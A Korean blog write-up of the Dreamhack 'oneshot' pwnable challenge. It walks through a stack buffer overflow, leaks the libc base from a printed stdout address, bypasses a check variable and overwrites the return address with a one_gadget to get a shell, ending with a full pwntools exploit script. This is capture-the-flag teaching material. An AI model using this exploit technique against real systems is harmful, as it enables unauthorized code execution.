Hacking/Write Up

[Pwnable] oneshot

min_zu 2025. 5. 16. 20:54
728x90
반응형

문제 : https://dreamhack.io/wargame/challenges/34

 

oneshot

Description 이 문제는 작동하고 있는 서비스(oneshot)의 바이너리와 소스코드가 주어집니다. 프로그램의 취약점을 찾고 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에

dreamhack.io

 

Environment

[*] '/home/minzu/Dreamhack/oneshot'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  • No Canary : Canary leak하는 과정이 필요하지 않음
  • NX enable :  스택에 실행 권한이 없음
  • PIE enable : main의 주소 (코드의 주소)가 실행때마다 바뀜 -> plt, got 변화

Code Analysis

// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

Vulnerability Type : Stack buffer Overflw (BOF)

현재 msg(buffer)가 16 할당되어있는데, read는 46만큼 받는다. 

입력 버퍼의 크기보다 더 큰 값을 입력받으므로 스택버퍼 오버플로우의 가능성이 있다. 

 

  1. 입력 크기 제한 > 버퍼 크기
  2. 스택 상 연속된 메모리 주소 접근 가능 > return addr에 접근 가능 + 조건 우회 가능
  3. 실행 흐름 조작 가능성 > return addr에 접근함으로써
  4. 보호 기법을 bypass 할 수 있는 가능성 있음 
  5. stdout의 주소로 인해 libc 주소를 구할 수 있음

이에 따라 해당 코드는 익스플로잇이 가능하다.

 

Exploit Idea

  1. stdout의 주소로 libc 주소를 leak하기
  2. Onegadget or ROP를 이용하여 익스하기

Onegadget의 경우, 사용가능한 조건을 충족해야한다. 조건을 확인해보고, 실행 가능한 것이 있다면 적용하기

 

Stack Frame

   0x0000000000000a41 <+0>:     push   rbp
   0x0000000000000a42 <+1>:     mov    rbp,rsp
   0x0000000000000a45 <+4>:     sub    rsp,0x30
   0x0000000000000a49 <+8>:     mov    DWORD PTR [rbp-0x24],edi
   0x0000000000000a4c <+11>:    mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000000a50 <+15>:    mov    QWORD PTR [rbp-0x8],0x0
   0x0000000000000a58 <+23>:    mov    eax,0x0
   0x0000000000000a5d <+28>:    call   0x9da <initialize>
   0x0000000000000a62 <+33>:    mov    rax,QWORD PTR [rip+0x200567]        # 0x200fd0
   0x0000000000000a69 <+40>:    mov    rax,QWORD PTR [rax]
   0x0000000000000a6c <+43>:    mov    rsi,rax
   0x0000000000000a6f <+46>:    lea    rdi,[rip+0x107]        # 0xb7d
   0x0000000000000a76 <+53>:    mov    eax,0x0
   0x0000000000000a7b <+58>:    call   0x800 <printf@plt>
   0x0000000000000a80 <+63>:    lea    rdi,[rip+0x102]        # 0xb89
   0x0000000000000a87 <+70>:    mov    eax,0x0
   0x0000000000000a8c <+75>:    call   0x800 <printf@plt>
   0x0000000000000a91 <+80>:    lea    rax,[rbp-0x20]
   0x0000000000000a95 <+84>:    mov    edx,0x2e
   0x0000000000000a9a <+89>:    mov    rsi,rax
   0x0000000000000a9d <+92>:    mov    edi,0x0
   0x0000000000000aa2 <+97>:    call   0x830 <read@plt>
   0x0000000000000aa7 <+102>:   cmp    QWORD PTR [rbp-0x8],0x0
   0x0000000000000aac <+107>:   je     0xab8 <main+119>
   0x0000000000000aae <+109>:   mov    edi,0x0
   0x0000000000000ab3 <+114>:   call   0x870 <exit@plt>
   0x0000000000000ab8 <+119>:   lea    rax,[rbp-0x20]
   0x0000000000000abc <+123>:   mov    rsi,rax
   0x0000000000000abf <+126>:   lea    rdi,[rip+0xc9]        # 0xb8f
   0x0000000000000ac6 <+133>:   mov    eax,0x0
   0x0000000000000acb <+138>:   call   0x800 <printf@plt>
   0x0000000000000ad0 <+143>:   lea    rax,[rbp-0x20]
   0x0000000000000ad4 <+147>:   mov    edx,0x10
   0x0000000000000ad9 <+152>:   mov    esi,0x0
   0x0000000000000ade <+157>:   mov    rdi,rax
   0x0000000000000ae1 <+160>:   call   0x810 <memset@plt>
   0x0000000000000ae6 <+165>:   mov    eax,0x0
   0x0000000000000aeb <+170>:   leave
   0x0000000000000aec <+171>:   ret

0x30만큼의 스택을 사용한다.

0x20만큼 떨어진 곳에서 buf가 존재하고, 0x10떨어진 곳에 check가 존재한다. 

stack frame

One gadget 

원가젯이란, 한번에 쉘을 실행시킬 수 있는 가젯들이다.

ret을 원가젯으로 덮으면, 익스플로잇이 가능하다

 

minzu@localhost:~/Dreamhack$ one_gadget ./libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

해당 조건들이 맞아 떨어져야만, 해당 가젯을 쓸 수 있다. 

ret 이전에 rax가 NULL이면 된다. 

leave, ret; 전에 eax 0x0을 채워넣는 과정이 존재하기에 rax = NULL이라 사용할 수 있을 것이다.

 

Exploit Scenario

libc base 주소 계산

현재 stdout의 주소를 출력해준다.

stdout의 심볼은 '_IO_2_1_stdout_'이므로, offset을 알고 있다.

따라서 stdout - '_IO_2_1_stdout_' = libc base가 된다. 

 

One gadget 주소 계산

libc base + 0x45216 (원가젯 offset)을 넣어주면 결과적으로 원가젯의 주소를 구할 수 있다.

 

조건 우회

check 의 값이 0이어야 한다. 

payload에, check부분을 0으로 채워주고, onegadget을 ret 부분에 넣어준다. 

 

Exploit

from pwn import *

p = remote('host3.dreamhack.games', 23195)
e = ELF('./oneshot')
libc = ELF('./libc.so.6')

one_gadget = 0x45216

p.recvuntil('stdout: ')
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
one_gadget = libc_base + one_gadget

payload = b'A' * 24 + b'\x00' * 8 + b'A' * 8 + p64(one_gadget)

p.sendafter("MSG: ", payload)
p.interactive()

 

 

Question & Learn

Stdout이란?

표준입출력의 출력으로 symbol로는 '_IO_2_1_stdout_'을 사용한다. 

https://rninche01.tistory.com/entry/stdout-flag%EB%A5%BC-%EC%9D%B4%EC%9A%A9%ED%95%9C-libc-leak

 

stdout flag를 이용한 libc leak

stdout flag값을 변경하여 libc주소를 leak하는 방법을 정리하였다 따로 libc주소를 leak할 방법이 없을 때 유용하게 쓰일 것 같당ㅎㅎ 관련 문제 : [HackCTF/Pwnable] ChildHeap stdout을 이용한 libc주소 leak & fastb

rninche01.tistory.com

해당 방법을 사용한건 아니지만, 알아두면 좋을 것 같아서 첨부한다. 

 

 

728x90
반응형